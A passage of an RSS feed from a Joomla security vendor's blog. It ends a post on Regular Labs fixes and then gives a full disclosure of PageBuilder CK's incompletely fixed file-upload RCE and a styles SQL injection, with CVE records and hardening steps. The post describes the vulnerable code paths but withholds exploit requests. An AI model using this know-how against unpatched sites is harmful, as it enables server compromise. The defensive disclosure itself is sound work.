&lt;p&gt;No CVE today also does not mean no CVE ever. To be clear, these are not our findings. We did not report them, and we do not know whether anyone has requested CVE numbers for them. This was Regular Labs&apos; own security pass across its codebase, fixed and shipped by the vendor. Numbers may still be assigned weeks or months from now, once a researcher or the Joomla CNA works through the changelog, so treat a missing CVE as paperwork that has not caught up rather than a verdict on severity.&lt;/p&gt;
&lt;p&gt;What the missing CVE does change is your ability to hear about it. Without an advisory, an NVD entry or a &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;Vulnerable Extensions List&lt;/a&gt; row, the only signal is a &lt;code&gt;[SECURITY FIX]&lt;/code&gt; line in a per-extension changelog you have to go and read. That is precisely the gap a live inventory closes: you find out because your dashboard tells you a version is outdated, not because you happened to be reading Regular Labs&apos; release notes on the right day.&lt;/p&gt;
&lt;h2&gt;How do I find every affected site I manage?&lt;/h2&gt;
&lt;p&gt;For up to about ten sites, log in to each Joomla administrator and check the installed Regular Labs versions against the fixed numbers above. Past that, checking by hand stops being realistic, and the risk is not the sites you remember but the ones you forget.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every connected Joomla and WordPress site in your account. Search for a Regular Labs extension once and you get every site running it, the version each is on, and whether an update is available. Because we have added detection rules for the affected versions, the vulnerable installs are already flagged for you, so you are working from a list rather than a search.&lt;/p&gt;
&lt;h2&gt;How do I update Regular Labs extensions safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. With mySites.guru you can &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions. If you manage many sites, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mind the PHP 8.2 floor.&lt;/strong&gt; This release raises the minimum PHP version to 8.2 across the catalogue. Sites still on PHP 8.1, which reached end of life in December 2025, or older will not be offered the update until PHP is upgraded, which leaves them stuck on the vulnerable builds and is its own reason to move off an unsupported PHP version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version and test.&lt;/strong&gt; After updating, check each extension reports the fixed version. Several fixes are breaking changes, especially in the Anywhere plugins where tag HTML now renders escaped, so test any site that relies on that behaviour.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not rely on auto-updates blindly.&lt;/strong&gt; If you use &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;Joomla extension auto-updates&lt;/a&gt;, confirm each site actually received the fix. Auto-updates fail silently more often than people think.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;A coordinated hardening pass is a good sign, not a bad one&lt;/h2&gt;
&lt;p&gt;It can look alarming when a vendor patches its entire catalogue on one day. Read the other way, it is what responsible maintenance looks like. Regular Labs clearly ran a security pass across its whole codebase, found a class of issues, and fixed them everywhere at once rather than one reactive patch at a time. That is the same healthy pattern we see when &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;we are not the only ones auditing Joomla extensions&lt;/a&gt;: the extensions getting this attention are the well-maintained ones.&lt;/p&gt;
&lt;p&gt;None of this is a reason to distrust Regular Labs. The real takeaway is that keeping extensions updated is security-critical work, not cosmetic housekeeping, and &quot;I would have updated if I had known&quot; is not a plan when the disclosure is a changelog line on one of thirty extensions. Knowing which of your sites are affected, the day the fix ships, is the whole game. That is the job mySites.guru does for you.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious Joomla extension flaw is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://regularlabs.com/latest-releases&quot;&gt;Regular Labs latest releases&lt;/a&gt; - the per-extension changelogs for the 22 July 2026 release, with every &lt;code&gt;[SECURITY FIX]&lt;/code&gt; line.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind the catalogue-wide AJAX fix.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider run of Joomla extension issues this sits alongside.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;The Joomla and WordPress vulnerable extension list&lt;/a&gt; - how mySites.guru tracks known-vulnerable versions across your sites.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/918.html&quot;&gt;CWE-918: Server-Side Request Forgery&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-Site Scripting&lt;/a&gt; - the canonical references for the two most notable weakness classes in this release.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>regular labs</category><category>vulnerability</category><category>joomla extensions</category><category>updates</category><enclosure url="https://mysites.guru/_astro/regular-labs-joomla-extension-security-release.CPs772h-.png" length="0" type="image/png"/></item><item><title>PageBuilder CK RCE fixed - again - correctly this time</title><link>https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/</link><guid isPermaLink="true">https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/</guid><description>PageBuilder CK&apos;s 3.6.0 fix for its file-upload RCE (CVE-2026-56290) only added a login check, so any Editor could still run code up to 3.6.2. Fixed in 3.6.3, and two further security releases followed. Be on 3.6.5.</description><pubDate>Tue, 21 Jul 2026 19:38:00 GMT</pubDate><content:encoded>&lt;p&gt;In June 2026 we &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;disclosed a critical flaw in PageBuilder CK&lt;/a&gt;, the popular free drag-and-drop page builder for Joomla. It was an unauthenticated file upload that led to remote code execution: anyone, with no login at all, could upload a file to a Joomla site and run it. It became &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, scored CVSS 10.0, and the vendor shipped version 3.6.0 as the fix.&lt;/p&gt;
&lt;p&gt;We went back and read the code the vendor shipped after that. The 3.6.0 fix was incomplete. It added a login check that stops anonymous visitors, and that part works. What it did not do was correct the upload itself. The flaw that let an attacker write and run a PHP file was still there, still in the same file, still with the file-type check commented out, all the way through 3.6.2. All the patch had done was put the bug behind a login. Any account with the Editor permission, which Joomla hands out by default, could still upload and run code. The vendor has now shipped 3.6.3, which restores the missing check and closes it.&lt;/p&gt;
&lt;p&gt;This is the difference between patched and fixed, and it is worth understanding, because it is a mistake we see again and again. Update PageBuilder CK to 3.6.5, then read on for what the 3.6.0 fix actually changed and why an &quot;authenticated&quot; upload flaw was still a serious problem.&lt;/p&gt;
&lt;h2&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The 3.6.0 fix for &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt; only added an &lt;strong&gt;access check&lt;/strong&gt;. It stops anonymous visitors, but the &lt;strong&gt;upload handler was not corrected until 3.6.3&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;file-extension check stayed commented out&lt;/strong&gt; through 3.6.2, so the endpoint would still write a PHP file into a web-served folder&lt;/li&gt;
&lt;li&gt;The remote code execution regressed from &lt;strong&gt;unauthenticated to authenticated&lt;/strong&gt;. Any account with &lt;strong&gt;core.edit&lt;/strong&gt;, which Joomla grants to the &lt;strong&gt;Editor group by default&lt;/strong&gt;, could still reach it&lt;/li&gt;
&lt;li&gt;An Editor is a &lt;strong&gt;low-trust content role&lt;/strong&gt; that must never be able to write executable files. So this was a &lt;strong&gt;privilege escalation from editor to full server compromise&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;We confirmed the flaw on a clean test install, uploading a harmless marker file and watching it run, and confirmed that &lt;strong&gt;3.6.3 rejects the same upload&lt;/strong&gt;, then cleaned up. &lt;strong&gt;We are not publishing a working exploit&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to PageBuilder CK 3.6.5&lt;/strong&gt;, and as a backstop &lt;strong&gt;block PHP execution in your writable folders&lt;/strong&gt; (/images, /media, /templates, /tmp) so an incomplete vendor fix cannot hurt you&lt;/li&gt;
&lt;li&gt;Reported to the vendor, who shipped &lt;strong&gt;3.6.3&lt;/strong&gt; with the file-type allow-list restored&lt;/li&gt;
&lt;li&gt;We then found a &lt;strong&gt;separate SQL injection in the styles handling&lt;/strong&gt;, and the 3.6.4 release meant to fix it &lt;strong&gt;sanitised nothing on the administrator path&lt;/strong&gt;. Properly fixed in &lt;strong&gt;3.6.5&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How to Find Every Joomla Site Running PageBuilder CK with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a flaw sits in a component that could be on dozens of your client sites, the first question is always the same: which of my sites run it, and on what version? Logging into every Joomla admin to check the PageBuilder CK version does not scale past a handful of sites.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The extension search shows you every site running PageBuilder CK, grouped by version, in seconds. Filter for anything below 3.6.5 and you have your work list.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your PageBuilder CK installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/c45129c88fda8c49f8f7c475837f869f&quot;&gt;Open PageBuilder CK Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla sites, so you can find the installations that still need the update.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 3.6.5 across every affected site in one batch. Affected sites are also flagged in the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extensions feed&lt;/a&gt;, so you are told which sites are exposed rather than having to go looking.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;start a free month&lt;/a&gt; and connect your sites. The extension index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h2&gt;What the 3.6.0 Fix Actually Changed&lt;/h2&gt;
&lt;p&gt;The original bug had two halves. The endpoint that handles image uploads had no authentication and no permission check, so anyone could reach it. And the upload handler accepted any file, with any extension, and wrote it to a folder the caller chose. Either half on its own is a problem. Together they are unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;Version 3.6.0 fixed the first half. It added an access check to the component&apos;s endpoints, so a request now has to come from a logged-in user with permission to edit before the upload code runs. You can see it working: send an anonymous request to the upload endpoint on a patched site and it comes back with a &lt;strong&gt;403, permission denied&lt;/strong&gt;. The anonymous path is genuinely closed, which is why CVE-2026-56290 is correctly marked fixed in 3.6.0.&lt;/p&gt;
&lt;p&gt;What 3.6.0 did not touch was the second half. The upload handler did not check the file type. In the code from 3.6.0 through 3.6.2 the extension check was not just missing, it was sitting right there commented out, with a developer&apos;s note where the check used to run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// check the file extension // TODO recup preg_match de local dev
// if (getExt($filename) != &apos;jpg&apos;) { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The line below it that would reject anything that is not an image was disabled. The handler cleaned the filename but kept the extension, so &lt;code&gt;shell.php&lt;/code&gt; stayed &lt;code&gt;shell.php&lt;/code&gt;, and then wrote it into a web-served folder. The file type was looked at only to pick which icon to show in the media browser, never to decide whether the file was allowed. So the exact flaw that made the June bug a remote code execution was still present, right up to 3.6.2. The 3.6.0 patch built a locked front door and left the back door wide open. Version 3.6.3 finally shuts it, restoring an allow-list that rejects anything that is not an approved media type before the file is written.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A note on what we are not publishing. We confirmed this by reading the shipped code and reproducing the upload on our own test install, with a harmless marker file that we removed straight afterwards, and we verified that 3.6.3 rejects the same upload. No customer or third-party site was involved. We are not naming the exact request or publishing a working exploit. The point is to get people updated and hardened, not to hand a recipe to the next scanner.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why an &quot;Authenticated&quot; Upload Flaw Is Still Serious&lt;/h2&gt;
&lt;p&gt;It is tempting to read &quot;now needs a login&quot; as &quot;now safe&quot;. It is not, and the reason is who the login belongs to.&lt;/p&gt;
&lt;p&gt;The permission that unlocks the upload is &lt;code&gt;core.edit&lt;/code&gt;, and in a default Joomla install that permission is granted to the &lt;strong&gt;Editor&lt;/strong&gt; user group. An Editor is a content role. It is the account you give to a copywriter, a marketing hire, or a junior team member so they can write and edit articles. It has no business touching the file system, and in a correctly built site it cannot. Joomla&apos;s own media manager deliberately refuses to store executable files for exactly this reason: even a trusted administrator should not be able to drop a PHP file into a web folder by accident, let alone an Editor.&lt;/p&gt;
&lt;p&gt;On the vulnerable versions this endpoint handed that power to any Editor. An Editor login, through this one upload, became the ability to write and run arbitrary code on the server. That is a &lt;strong&gt;privilege escalation&lt;/strong&gt;: from &quot;can edit an article&quot; to &quot;controls the entire site and everything else it can reach&quot;. Editor accounts are also the softest targets on most sites. They get shared, they get weak passwords, they get reused, and they get phished, precisely because everyone treats them as low-risk. On a site running this code, they were not low-risk at all.&lt;/p&gt;
&lt;p&gt;There is a genuine improvement over the June version, and it is worth being honest about it: an anonymous internet-wide attacker can no longer walk straight in. But the gap between &quot;anonymous&quot; and &quot;any Editor&quot; is much smaller than it sounds, and it is nowhere near enough of a barrier for a flaw whose payoff is complete server control.&lt;/p&gt;
&lt;h2&gt;Being &apos;patched&apos; is not the same as being &apos;fixed&apos;&lt;/h2&gt;
&lt;p&gt;The reason this is worth a whole post, rather than a footnote on the original, is the pattern. A security fix can take two shapes. You can remove the flaw, or you can put a gate in front of it. Removing the flaw here would have meant restoring the file-type check so the handler refuses a PHP upload from anyone. Putting a gate in front of it meant adding a login check so fewer people can reach the unchanged flaw. The 3.6.0 release did the second and not the first, and a critical unauthenticated bug became a serious authenticated one instead of going away.&lt;/p&gt;
&lt;p&gt;From the outside these look identical. The changelog says the security issue is fixed, the version number goes up, the CVE is marked resolved. Only reading the code told you the root cause was still there. This is why, when we track a vulnerability, we care about what the fix actually did and not just that a fix shipped.&lt;/p&gt;
&lt;p&gt;It is also the strongest possible argument for &lt;strong&gt;defence in depth&lt;/strong&gt;. If your writable directories cannot execute PHP in the first place, then a handler that wrongly writes a &lt;code&gt;.php&lt;/code&gt; file has written an inert text file, and an incomplete vendor fix never becomes your incident. Block PHP execution in &lt;code&gt;/images&lt;/code&gt;, &lt;code&gt;/media&lt;/code&gt;, &lt;code&gt;/templates&lt;/code&gt; and &lt;code&gt;/tmp&lt;/code&gt; at the web server level, not in the application, so the protection holds regardless of what any one extension does. If you run &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Akeeba Admin Tools&lt;/a&gt;, its &lt;code&gt;.htaccess&lt;/code&gt; Maker sets up most of this for you. It is the layer that would have blunted both the June bug and this one - but even this is still just &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;locking the fridge and the toilet and letting the hacker sit on your sofa&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;It Happened Again, In The Styles Code&lt;/h2&gt;
&lt;p&gt;Once 3.6.3 closed the upload, we read the rest of the component. There was a second flaw, nothing to do with uploads: SQL injection in the way PageBuilder CK loads its saved styles. Style identifiers went into a database query with no escaping and no numeric conversion, so somebody who can create or edit PageBuilder CK content could store a payload that runs against the database when the page is next rendered. The trigger is a visitor loading the page, not the attacker sending a request. It needs an authenticated account with content editing rights, so this is not the anonymous class of problem the June bug was, but &quot;any account that can edit a page can reach the database&quot; is not where you want to be either.&lt;/p&gt;
&lt;p&gt;We reported it, and the vendor shipped 3.6.4 on 13 August with a changelog line about fixing a security issue in the styles models.&lt;/p&gt;
&lt;p&gt;3.6.4 fixed half of it. The front-end path was corrected properly; the administrator path was not, and it failed in a way that is very easy to write and very hard to catch in review. The sanitising line was there, calling the right function on the right variable, and it threw the result away. That function hands back a cleaned copy and leaves the original alone, so a line sitting under a comment saying it cleans the data changed nothing whatsoever. The raw values reached the query exactly as before.&lt;/p&gt;
&lt;p&gt;We told the vendor the next morning. 3.6.5 shipped on 17 August with the one missing character, and we read the released build to confirm the values are converted before they reach the query now.&lt;/p&gt;
&lt;p&gt;That is twice this component has shipped a fix that did not finish the job: the June access check that left the upload handler untouched, and a styles fix that sanitised nothing on one of the two paths that needed it. &lt;strong&gt;The version to be on is 3.6.5.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;What To Do&lt;/h2&gt;
&lt;p&gt;Update PageBuilder CK to 3.6.5 on every Joomla site that runs it. In each site&apos;s Joomla admin, go to &lt;strong&gt;System&lt;/strong&gt; then &lt;strong&gt;Update&lt;/strong&gt; then &lt;strong&gt;Extensions&lt;/strong&gt;, find PageBuilder CK, and update. If the update does not appear there, download the latest build from &lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;joomlack.fr&lt;/a&gt; and install it over the top. If you run more than a handful of sites, push the update from your &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;mySites.guru dashboard&lt;/a&gt; rather than working through admin panels one by one.&lt;/p&gt;
&lt;p&gt;Then harden the site so you are not relying on any single extension getting its file handling right. Block PHP execution in your writable directories, review your &lt;strong&gt;Users&lt;/strong&gt; list and remove any Editor or Super User accounts you do not recognise, and tighten the passwords on the ones you keep. If a site has been running this code with untrusted Editor accounts, treat a compromise as possible and &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;run a full security audit&lt;/a&gt;: look for stray PHP files under &lt;code&gt;/images&lt;/code&gt;, &lt;code&gt;/media&lt;/code&gt;, &lt;code&gt;/templates&lt;/code&gt; and &lt;code&gt;/administrator&lt;/code&gt;, and if you find one, &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;clean the site properly&lt;/a&gt; and rotate your Joomla passwords and secrets.&lt;/p&gt;
&lt;h2&gt;The Same Root Cause, One Layer Down&lt;/h2&gt;
&lt;p&gt;The June bug fit a pattern we have written about at length: front-end endpoints that check a token but never check permission. This one is a variation on it. The permission check finally got added, but the dangerous operation behind it, an upload with no file-type control, was left untouched, so the flaw simply changed who could reach it.&lt;/p&gt;
&lt;p&gt;It sits alongside the other file-upload flaws we have covered this year, several of which are the same shape. &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download&lt;/a&gt; was an authenticated upload where a member-level account could bypass the allow-list and run code, a close cousin of this Editor-level flaw. &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero day&lt;/a&gt; were unauthenticated versions of the same idea. We pulled the whole pattern apart in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;, and it keeps proving relevant.&lt;/p&gt;
&lt;p&gt;The lesson is not &quot;stop using extensions&quot;. PageBuilder CK is genuinely good at its job, and this is a fixable oversight, not a reason to rip it out. The lesson is that the security of your sites rests on code other people wrote and ship on their own schedule, that even a shipped fix is worth checking, and that the day a flaw becomes public you need to know, within minutes, which of your sites run it. That is the whole reason mySites.guru indexes every extension on every site you connect. The corrected release is here in 3.6.5. You want to be the operator who updated and swept before the next scanner comes round, not the one &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;finding a strange file three weeks later&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;The original unauthenticated flaw is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, published 29 June 2026, CVSS 10.0, CWE-284, crediting Phil Taylor of mySites.guru as the finder. The residual authenticated flaw described here is an incomplete fix of that same issue. We reported it to the vendor on 21 July 2026, and the vendor released 3.6.3 with the file-type allow-list restored, which we confirmed on a clean test install. Both follow-up records are now published, and both credit Phil Taylor of mySites.guru as the finder.&lt;/p&gt;
&lt;p&gt;The authenticated upload variant is &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63048&quot;&gt;CVE-2026-63048&lt;/a&gt;, published by the Joomla CNA on 22 July 2026, scored CVSS 4.0 9.4 critical on &lt;code&gt;AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;, classified CWE-434, unrestricted upload of a file with a dangerous type. Read the version numbers on it carefully: the title says &quot;&amp;lt; 3.6.2&quot; while the affected range runs to 3.6.2 inclusive. The range is the accurate half. 3.6.2 is affected, and 3.6.3 is the release that fixes it.&lt;/p&gt;
&lt;p&gt;The styles SQL injection is &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74254&quot;&gt;CVE-2026-74254&lt;/a&gt;, published 17 August 2026, scored CVSS 4.0 9.3 critical on &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;, classified CWE-89. Its affected range is 1.0.0 to 3.6.4, and the record describes the two-stage fix in one line: &quot;Version 3.6.4 fixed the vector in the frontend, 3.6.5 in the backend.&quot; The CNA scored it &lt;code&gt;PR:N&lt;/code&gt;, no privileges required, which is a wider reach than the path we reported: what we proved and sent to the vendor needed an account with content editing rights on the component, which is the administrator path 3.6.5 closes. The record covers both vectors, so 9.3 is the figure to quote, and 3.6.5 is still the version to be on.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Original CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt; (unauthenticated, fixed in 3.6.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;This CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63048&quot;&gt;CVE-2026-63048&lt;/a&gt;, published 22 July 2026, CVSS 4.0 9.4 (critical), CWE-434, crediting Phil Taylor of mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;This finding&lt;/td&gt;
&lt;td&gt;Incomplete fix of CVE-2026-56290: upload handler wrote executable files through 3.6.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reach&lt;/td&gt;
&lt;td&gt;Authenticated. Any account with &lt;code&gt;core.edit&lt;/code&gt; (Editor group by default)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;PageBuilder CK (&lt;code&gt;com_pagebuilderck&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Cedric Keiflin (joomlack.fr)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Authenticated arbitrary file upload to remote code execution (privilege escalation)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Still present in&lt;/td&gt;
&lt;td&gt;3.6.2 and earlier of the current line&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;3.6.3 (restores the file-type allow-list)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported&lt;/td&gt;
&lt;td&gt;21 July 2026 (fixed in 3.6.3)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Follow-up finding&lt;/td&gt;
&lt;td&gt;SQL injection in the styles handling, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74254&quot;&gt;CVE-2026-74254&lt;/a&gt;, published 17 August 2026, CVSS 4.0 9.3 (critical), CWE-89, crediting Phil Taylor of mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Follow-up reach&lt;/td&gt;
&lt;td&gt;Authenticated. Any account with content editing rights on the component&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Follow-up affected&lt;/td&gt;
&lt;td&gt;1.0.0 to 3.6.4 per the CVE record. 3.6.4 fixed the front-end vector only, leaving the administrator one open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Follow-up fixed in&lt;/td&gt;
&lt;td&gt;3.6.5, released 17 August 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current safe version&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.6.5&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;The original PageBuilder CK unauthenticated upload RCE (CVE-2026-56290)&lt;/a&gt; - the June flaw this one grew out of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63048&quot;&gt;CVE-2026-63048&lt;/a&gt; - the official record for the authenticated upload described here (CVSS 9.4, CWE-434).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74254&quot;&gt;CVE-2026-74254&lt;/a&gt; - the official record for the styles SQL injection fixed in 3.6.5 (CVSS 9.3, CWE-89).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt; - the wider pattern of endpoints that check a token but not permission.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the full run of extension flaws in one place.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;PageBuilder CK by Cedric Keiflin&lt;/a&gt; - the vendor product page.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt; - the vulnerability class, and how to prevent it properly.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot;&gt;Joomla security best practices&lt;/a&gt; - including blocking PHP execution in writable folders.&lt;/li&gt;
